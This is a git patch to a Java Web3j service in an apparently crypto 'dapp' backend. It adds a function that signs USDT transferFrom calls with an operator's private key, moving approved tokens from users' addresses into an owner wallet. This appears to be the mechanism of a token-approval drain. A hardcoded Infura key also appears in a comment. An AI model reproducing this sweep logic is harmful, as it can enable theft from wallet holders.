From 09c88cc68d65337a98703b061107f09bdd00f1fe Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Wed, 06 Apr 2022 10:49:57 +0800
Subject: [PATCH] fix

---
 src/main/java/cc/mrbird/febs/dapp/chain/EthService.java |   76 ++++++++++++++++++++++++++++++++------
 1 files changed, 64 insertions(+), 12 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 8bfc84a..7f7543c 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -147,16 +147,17 @@
 	}
 
 	public static void main(String[] args) throws IOException {
-		HttpService service = new HttpService(ETH_UTL);
-		Web3j build = Web3j.build(service);
-		//Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-		EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
-		String status = send.getResult().getStatus();
-		System.out.println(status);//0x1
+//		HttpService service = new HttpService(ETH_UTL);
+//		Web3j build = Web3j.build(service);
+//		//Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
+//		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
+//		EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
+//		String status = send.getResult().getStatus();
+//		System.out.println(status);//0x1
 //		EthTransaction send = ethTransactionRequest.send();
 //		String input = send.getResult().getInput();
 //		System.out.println(input);
+		System.out.println(new EthService().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
 	}
 
 	/**
@@ -211,8 +212,9 @@
 		// Web3j web3j = Web3j.build(new
 		// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
 		if(StringUtils.isBlank(gas)){
-			gas="70";
+			gas="35";
 		}
+
 		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
 		Credentials credentials = Credentials.create(privateKey);
 
@@ -230,8 +232,57 @@
 
 		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
 				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
-				Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
 		        // 10*80000/1000000000=0.0008 手续费
+
+		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+		String hexValue = Numeric.toHexString(signedMessage);
+
+		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+		//return "hash";
+//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
+
+		if (ethSendTransaction.hasError()) {
+			return "";
+		} else {
+			String transactionHash = ethSendTransaction.getTransactionHash();
+			// log.info("Transfer transactionHash:" + transactionHash);
+			return transactionHash;
+		}
+	}
+
+	public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
+			throws InterruptedException, ExecutionException {
+		if(StringUtils.isBlank(gas)){
+			gas="35";
+		}
+
+		BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
+		amount = amountPow.toPlainString();
+		if (amount.contains(".")) {
+			amount = amount.substring(0, amount.lastIndexOf("."));
+		}
+
+		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+		Credentials credentials = Credentials.create(privateKey);
+
+		EthGetTransactionCount ethGetTransactionCount = web3j
+				.ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+		Function function = new Function("transferFrom",
+				Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
+				Arrays.asList(new TypeReference<Type>() {
+				}));
+
+		String encodedFunction = FunctionEncoder.encode(function);
+
+		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+		// 10*80000/1000000000=0.0008 手续费
 
 		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
 		String hexValue = Numeric.toHexString(signedMessage);
@@ -252,7 +303,7 @@
 
 	public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
 		try {
-			return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+			return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
 		} catch (InterruptedException | ExecutionException e) {
 			e.printStackTrace();
 			return "";
@@ -302,10 +353,10 @@
 		outputParameters.add(typeReference);
 
 		Function function = new Function(methodName,
-				Arrays.asList(new Address(toAddress), new Address(fromAddress))
+				Arrays.asList(new Address(fromAddress), new Address(toAddress))
 				, outputParameters);
 		String data = FunctionEncoder.encode(function);
-		Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+		Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
 
 		EthCall ethCall = null;
 		try {
@@ -319,4 +370,5 @@
 	}
 
 
+
 }

--
Gitblit v1.9.1